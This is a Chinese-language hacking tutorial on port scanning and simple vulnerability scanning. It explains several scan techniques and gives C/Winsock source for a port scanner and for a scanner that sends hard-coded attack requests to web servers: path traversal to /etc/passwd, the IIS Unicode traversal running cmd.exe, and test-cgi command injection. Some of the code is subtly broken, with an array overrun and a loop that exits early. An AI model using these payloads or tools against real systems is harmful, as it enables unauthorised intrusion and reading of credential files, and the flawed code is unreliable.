一、端口掃描器功能簡介:
服務(wù)器上所開放的端口就是潛在的通信通道,也就是一個入侵通道。對目標(biāo)計算機進行端口掃描,能得到許多有用的信息,進行端口掃描的方法很多,可以是手工進行掃描、也可以用端口掃描軟件進行。 掃描器通過選用遠程TCP/IP不同的端口的服務(wù),并記錄目標(biāo)給予的回答,通過這種方法可以搜集到很多關(guān)于目標(biāo)主機的各種有用的信息,例如遠程系統(tǒng)是否支持匿名登陸、是否存在可寫的FTP目錄、是否開放TELNET服務(wù)和HTTPD服務(wù)等。 二、常用端口掃描技術(shù): 1、TCP connect()掃描: 這 是最基本的TCP掃描,操作系統(tǒng)提供的connect()系統(tǒng)調(diào)用可以用來與每一個感興趣的目標(biāo)計算機的端口進行連接。如果端口處于偵聽狀態(tài),那么 connect()就能成功。否則,這個端口是不能用的,即沒有提供服務(wù)。這個技術(shù)的一個最大的優(yōu)點是,你不需要任何權(quán)限。系統(tǒng)中的任何用戶都有權(quán)利使用 這個調(diào)用。另一個好處就是速度,如果對每個目標(biāo)端口以線性的方式,使用單獨的connect()調(diào)用,那么將會花費相當(dāng)長的時間,使用者可以通過同時打開 多個套接字來加速掃描。使用非阻塞I/O允許你設(shè)置一個低的時間用盡周期,同時觀察多個套接字。但這種方法的缺點是很容易被察覺,并且被防火墻將掃描信息 包過濾掉。目標(biāo)計算機的logs文件會顯示一連串的連接和連接出錯消息,并且能很快使它關(guān)閉。 2、TCP SYN掃描: 這種技術(shù)通常認為 是“半開放”掃描,這是因為掃描程序不必要打開一個完全的TCP連接。掃描程序發(fā)送的是一個SYN數(shù)據(jù)包,好象準備打開一個實際的連接并等待反應(yīng)一樣(參 考TCP的三次握手建立一個TCP連接的過程)。一個SYN|ACK的返回信息表示端口處于偵聽狀態(tài):返回RST表示端口沒有處于偵聽?wèi)B(tài)。如果收到一個 SYN|ACK,則掃描程序必須再發(fā)送一個RST信號,來關(guān)閉這個連接過程。這種掃描技術(shù)的優(yōu)點在于一般不會在目標(biāo)計算機上留下記錄,但這種方法的缺點是 必須要有root權(quán)限才能建立自己的SYN數(shù)據(jù)包。 3、TCP FIN 掃描: SYN掃描雖然是“半開放”方式掃描,但在某些時候也不能 完全隱藏掃描者的動作,防火墻和包過濾器會對管理員指定的端口進行監(jiān)視,有的程序能檢測到這些掃描。相反,F(xiàn)IN數(shù)據(jù)包在掃描過程中卻不會遇到過多問題, 這種掃描方法的思想是關(guān)閉的端口會用適當(dāng)?shù)腞ST來回復(fù)FIN數(shù)據(jù)包。另一方面,打開的端口會忽略對FIN數(shù)據(jù)包的回復(fù)。這種方法和系統(tǒng)的實現(xiàn)有一定的關(guān) 系,有的系統(tǒng)不管端口是否打開都會回復(fù)RST,在這種情況下此種掃描就不適用了。另外這種掃描方法可以非常容易的區(qū)分服務(wù)器是運行Unix系統(tǒng)還是NT系 統(tǒng)。 4、IP段掃描: 這種掃描方式并不是新技術(shù),它并不是直接發(fā)送TCP探測數(shù)據(jù)包,而是將數(shù)據(jù)包分成兩個較小的IP段。這樣就將一個TCP頭分成好幾個數(shù)據(jù)包,從而過濾器就很難探測到。但必須小心:一些程序在處理這些小數(shù)據(jù)包時會有些麻煩。 5、TCP 反向 ident掃描: ident 協(xié)議允許(rfc1413)看到通過TCP連接的任何進程的擁有者的用戶名,即使這個連接不是由這個進程開始的。例如掃描者可以連接到http端口,然后 用identd來發(fā)現(xiàn)服務(wù)器是否正在以root權(quán)限運行。這種方法只能在和目標(biāo)端口建立了一個完整的TCP連接后才能看到。 6、FTP 返回攻擊: FTP 協(xié)議的一個有趣的特點是它支持代理(proxy)FTP連接,即入侵者可以從自己的計算機self.com和目標(biāo)主機target.com的 FTP server-PI(協(xié)議解釋器)連接,建立一個控制通信連接。然后請求這個server-PI激活一個有效的server-DTP(數(shù)據(jù)傳輸進 程)來給Internet上任何地方發(fā)送文件。對于一個User-DTP,盡管RFC明確地定義請求一個服務(wù)器發(fā)送文件到另一個服務(wù)器是可以的,但現(xiàn)在這 個方法并不是非常有效。這個協(xié)議的缺點是“能用來發(fā)送不能跟蹤的郵件和新聞,給許多服務(wù)器造成打擊,用盡磁盤,企圖越過防火墻”。 7、UDP ICMP端口不能到達掃描: 這 種方法與上面幾種方法的不同之處在于使用的是UDP協(xié)議,而非TCP/IP協(xié)議。由于UDP協(xié)議很簡單,所以掃描變得相對比較困難。這是由于打開的端口對 掃描探測并不發(fā)送確認信息,關(guān)閉的端口也并不需要發(fā)送一個錯誤數(shù)據(jù)包。幸運的是許多主機在向一個未打開的UDP端口發(fā)送數(shù)據(jù)包時,會返回一個 ICMP_PORT_UNREACH錯誤,這樣掃描者就能知道哪個端口是關(guān)閉的。UDP和ICMP錯誤都不保證能到達,因此這種掃描器必須還實現(xiàn)在一個包 看上去是丟失的時候能重新傳輸。這種掃描方法是很慢的,因為RFC對ICMP錯誤消息的產(chǎn)生速率做了規(guī)定。同樣這種掃描方法也需要具有root權(quán)限。 8、UDP recvfrom()和write() 掃描: 當(dāng) 非root用戶不能直接讀到端口不能到達錯誤時,Linux能間接地在它們到達時通知用戶。比如,對一個關(guān)閉的端口的第二個write()調(diào)用將失敗。在 非阻塞的UDP套接字上調(diào)用recvfrom()時,如果ICMP出錯還沒有到達時回返回EAGAIN-重試。如果ICMP到達時,返回 ECONNREFUSED-連接被拒絕。這就是用來查看端口是否打開的技術(shù)。 三、編寫一個簡單的端口掃描程序: /********************************************/ /* 端口掃描器 源代碼 */ /* PortScanner.cpp */ /********************************************/ #include <stdio.h> #include <string.h> #include <winsock.h> int main(int argc, char *argv[]) { int mysocket; int pcount = 0; struct sockaddr_in my_addr; WSADATA wsaData; WORD wVersionRequested=MAKEWORD(1,1); if(argc < 3) { printf("usage: %s <host> <maxport>\n", argv[0]); exit(1); } if (WSAStartup(wVersionRequested , &wsaData)){ printf("Winsock Initialization failed.\n"); exit(1); } for(int i=1; i < atoi(argv[2]); i++){ if((mysocket = socket(AF_INET, SOCK_STREAM,0)) == INVALID_SOCKET){ printf("Socket Error"); exit(1); } my_addr.sin_family = AF_INET; my_addr.sin_port = htons(i); my_addr.sin_addr.s_addr = inet_addr(argv[1]); if(connect(mysocket, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == SOCKET_ERROR) closesocket(mysocket); else{ pcount++; printf("Port %d - open\n", i); }} printf("%d ports open on host - %s\n", pcount, argv[1]); closesocket(mysocket); WSACleanup(); return 0; } 這個程序使用Borland C++編譯,程序中關(guān)鍵代碼是“my_addr.sin_port = htons(i)”,因為變量i是一個循環(huán)量,它從一開始到使用者設(shè)定值結(jié)束,而htons(i)則是對連接遠程服務(wù)器需要使用的端口進行定義,之后使 用connect()函數(shù)連接指定端口,通過返回值判斷這個端口是否打開,這樣一個端口掃描的思路就出現(xiàn)了。 程序中用到的socket函數(shù)庫是專門實現(xiàn)網(wǎng)絡(luò)連接的一套綜合函數(shù)庫,這套函數(shù)內(nèi)容豐富,在各種流行編程語言中都有,黑客在學(xué)習(xí)了C語言和socket函數(shù)庫以后,便可以快速掌握各種編程語言、并能夠編寫出相當(dāng)數(shù)量的黑客工具。 一、漏洞掃描器基本原理: 編寫漏洞掃描器探查遠程服務(wù)器上可能存在的具有安全隱患的文件是否存在,它的socket建立過程和上面 的端口掃描器是相同的,所不同的是漏洞掃描器通常使用80端口,然后對這個端口發(fā)送一個GET文件的請求,服務(wù)器接收到請求會返回文件內(nèi)容,如果文件不存 在則返回一個錯誤提示,通過接收返回內(nèi)容可以判斷文件是否存在。發(fā)送和接收數(shù)據(jù)需要使用函數(shù)send()和recv(),另外對流中存在的字符串進行判斷 需要使用函數(shù)strstr(),這除了需要具備socket函數(shù)庫的知識以外,還需要一些有關(guān)string函數(shù)庫的知識。 二、簡單的漏洞掃描源代碼: /********************/ /* 端口掃描器 源代碼*/ /********************/ #include <stdio.h> #include <string.h> #include <winsock.h> int main(int argc,char *argv[]) { if(argc!=2){ printf("Useage : scan [IP address]\n"); return(1); } struct sockaddr_in blah; struct hostent *he; WSADATA wsaData; int i; WORD wVersionRequested; SOCKET sock; char buff[1024]; char *ex[10]; ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n"; ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n"; ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n"; ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n"; ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n"; ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n"; char *fmsg="HTTP/1.1 200 OK"; wVersionRequested = MAKEWORD( 1, 1 ); if (WSAStartup(wVersionRequested , &wsaData)){ printf("Winsock Initialization failed.\n"); exit(1); } if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){ printf("Can not create socket.\n"); exit(1); } sock = socket(AF_INET,SOCK_STREAM,0); blah.sin_family = AF_INET; blah.sin_port = htons(80); blah.sin_addr.s_addr= inet_addr(argv[1]); if ((he=gethostbyname(argv[1]))!=NULL){ memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length); } else{ if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){ WSACleanup(); exit(1); } } for (i=1 ; i<7; i++) { if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){ send(sock,ex[i],strlen(ex[i]),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound :%s\n", ex[i]); } } closesocket(sock); WSACleanup(); return(1); } } 這段代碼可以檢測六個漏洞,讀者可以根據(jù)自己的需要增加漏洞掃描的數(shù)量。程序?qū)崿F(xiàn)的很簡潔,概括起來這段程序完成了一下四項工作: 1、連接目標(biāo)主機SERVER; 2、向目標(biāo)主機發(fā)送GET請求; 3、接收目標(biāo)返回數(shù)據(jù); 4、根據(jù)返回數(shù)據(jù)判斷文件是否存在。 三、返回數(shù)值: 讀者也許不明白,程序究竟依靠返回的什么數(shù)值判斷文件是否存在的呢?現(xiàn)在讓我們修改一下程序,仔細看一下返回來的究竟是什么內(nèi)容,對上面的程序進行如下修改: /************************/ /* 檢測文件頭內(nèi)容 源代碼*/ /************************/ #include <stdio.h> #include <string.h> #include <winsock.h> int main(int argc,char *argv[]) { if(argc!=2){ printf("Useage : scan [IP address]\n"); return(1); } struct sockaddr_in blah; struct hostent *he; WSADATA wsaData; WORD wVersionRequested; SOCKET sock; char buff[4096]; char *ex[2]; ex[1]="GET /index.html HTTP/1.0\n\n"; ex[2]="GET /noindex.htm HTTP/1.0\n\n"; wVersionRequested = MAKEWORD( 1, 1 ); if (WSAStartup(wVersionRequested , &wsaData)){ printf("Winsock Initialization failed.\n"); exit(1); } if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){ printf("Can not create socket.\n"); exit(1); } sock = socket(AF_INET,SOCK_STREAM,0); blah.sin_family = AF_INET; blah.sin_port = htons(80); blah.sin_addr.s_addr= inet_addr(argv[1]); if ((he=gethostbyname(argv[1]))!=NULL){ memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length); } else{ if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){ WSACleanup(); exit(1); } } if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){ send(sock,ex[1],strlen(ex[1]),0); recv(sock,buff,sizeof(buff),0); printf("%s",buff); send(sock,ex[2],strlen(ex[2]),0); recv(sock,buff,sizeof(buff),0); printf("%s",buff); } closesocket(sock); WSACleanup(); return(1); } 程序?qū)z測文件進行了修改,指對“/index.htm”和“/noindex.htm”進行判斷,因為index.htm是默認的頁 面,所以大多數(shù)情況下是存在于服務(wù)器上的,而noindex.htm則是沒有找到文件的情況,通過對接收回來的流buff的printf()可以清楚地看 到返回來的究竟是什么東西。 通過運行程序讀者會看到類似下面的內(nèi)容: HTTP/1.1 200 OK Date: Thu, 23 Aug 2001 10:59:31 GMT Server: Apache/1.3.12 (Unix) Last-Modified: Thu, 23 Aug 2001 10:44:11 GMT ETag: "a9c96-b73e-3b84de7b" Accept-Ranges: bytes Content-Length: 46910 Connection: close Content-Type: text/html 這 個htm程序的頭部說明,返回內(nèi)容還會有很多,不過下面的內(nèi)容就是正常的htm文件了,這個頭是被隱藏的,所以大多數(shù)使用者在平時使用電腦過程中,不會發(fā) 現(xiàn)htm文件的開始部位,還有一個這樣的內(nèi)容說明。這個頭里面包含了很多信息,例如第一行的200 OK就是文件存在的意思,如果是 404 NOT FOUND那么就是文件不存在,也就是這個內(nèi)容才能夠讓漏洞掃描器正常工作,現(xiàn)在讀者應(yīng)該明白為什么我們編寫的漏洞掃描器里面由 foundmsg=HTTP/1.1 200 OK的語句了吧。 通過這個頭還可以了解到對方服務(wù)器使用的是什么系統(tǒng),例如:Server: Apache/1.3.12 (Unix)就是我們掃描的服務(wù)器使用的系統(tǒng)類型。 |
|